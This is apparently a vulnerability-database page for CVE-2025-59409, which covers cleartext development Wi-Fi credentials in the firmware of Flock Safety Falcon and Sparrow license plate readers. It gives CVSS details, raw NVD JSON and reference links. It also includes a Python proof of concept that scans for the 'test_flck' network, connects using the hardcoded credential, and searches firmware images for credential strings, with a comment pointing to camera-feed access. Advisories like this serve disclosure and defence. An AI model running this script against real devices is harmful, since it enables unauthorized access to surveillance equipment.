Security Vulnerability Report
中文
CVE-2025-59409 CVSS 7.5 HIGH

CVE-2025-59409

Published: 2025-10-02 17:16:08
Last Modified: 2025-10-24 17:23:37

Description

Flock Safety Falcon and Sparrow License Plate Readers OPM1.171019.026 ship with development Wi-Fi credentials (test_flck) stored in cleartext in production firmware.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:flocksafety:license_plate_reader_firmware:-:*:*:*:*:*:*:* - VULNERABLE
Flock Safety Falcon License Plate Reader 固件 OPM1.171019.026
Flock Safety Sparrow License Plate Reader 固件 OPM1.171019.026

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-59409 - Flock Safety Falcon/Sparrow LPR Hardcoded Wi-Fi Credential PoC This PoC demonstrates how to discover and connect to the development Wi-Fi network broadcasted by affected Flock Safety License Plate Readers. """ import subprocess import time import re TARGET_SSID = "test_flck" # Known hardcoded credential extracted from firmware OPM1.171019.026 # The password is stored in cleartext in production firmware TARGET_PASSWORD = "test_flck" # Placeholder - actual credential from firmware analysis def scan_wifi_networks(): """Scan for nearby Wi-Fi networks and look for the target SSID.""" print("[*] Scanning for Wi-Fi networks...") try: # Use nmcli to scan available networks on Linux result = subprocess.run( ["nmcli", "-t", "-f", "SSID,SIGNAL", "dev", "wifi"], capture_output=True, text=True, timeout=30 ) if result.returncode == 0: networks = result.stdout.strip().split("\n") for network in networks: if ":" in network: ssid, signal = network.split(":", 1) if ssid == TARGET_SSID: print(f"[+] Found target network: {ssid} (Signal: {signal}%)") return True print("[-] Target network not found in scan.") return False except Exception as e: print(f"[!] Scan error: {e}") return False def connect_to_target(): """Attempt to connect to the target development Wi-Fi network.""" print(f"[*] Attempting to connect to {TARGET_SSID}...") try: # Connect using nmcli with the hardcoded credentials cmd = [ "nmcli", "dev", "wifi", "connect", TARGET_SSID, "password", TARGET_PASSWORD ] result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) if result.returncode == 0: print("[+] Successfully connected to development network!") print("[+] Device is now accessible on internal network.") # Further exploitation steps can be performed here # e.g., port scanning, accessing camera feeds, etc. return True else: print(f"[-] Connection failed: {result.stderr}") return False except Exception as e: print(f"[!] Connection error: {e}") return False def extract_credential_from_firmware(firmware_path): """ Extract the hardcoded Wi-Fi credential from the firmware image. The credential is stored in cleartext in the production firmware. """ print(f"[*] Analyzing firmware: {firmware_path}") try: # Search for common Wi-Fi config patterns in firmware patterns = [ rb'ssid=test_flck', rb'psk=.*', rb'wifi.*password', rb'test_flck', ] with open(firmware_path, 'rb') as f: data = f.read() for pattern in patterns: matches = re.findall(pattern, data, re.IGNORECASE) if matches: print(f"[+] Found credential pattern: {matches}") return matches except FileNotFoundError: print("[!] Firmware file not found. Use physical extraction method.") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-59409 - Flock Safety LPR Wi-Fi Credential PoC") print("=" * 60) # Step 1: Scan for the target network if scan_wifi_networks(): # Step 2: Connect using hardcoded credentials if connect_to_target(): print("\n[+] Exploitation successful. Device network access obtained.") else: print("\n[*] Ensure you are within Wi-Fi range of a Flock Safety LPR device.") print("[*] Or extract firmware directly from device for offline analysis.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59409", "sourceIdentifier": "[email protected]", "published": "2025-10-02T17:16:08.177", "lastModified": "2025-10-24T17:23:36.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flock Safety Falcon and Sparrow License Plate Readers OPM1.171019.026 ship with development Wi-Fi credentials (test_flck) stored in cleartext in production firmware."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:flocksafety:license_plate_reader_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "19332436-F7BB-48C5-A7F2-C3BECD0D78FA"}]}]}], "references": [{"url": "https://gainsec.com/2025/09/27/fly-by-device-2-the-falcon-sparrow-gated-wireless-rce-camera-feed-dos-information-disclosure-and-more/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gainsec.com/wp-content/uploads/2025/09/Root-from-the-Coop-Device-3_-Root-Shell-on-Flock-Safetys-Bravo-Compute-Box-GainSec.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.flocksafety.com/products", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.flocksafety.com/products/license-plate-readers", "source": "[email protected]", "tags": ["Product"]}]}}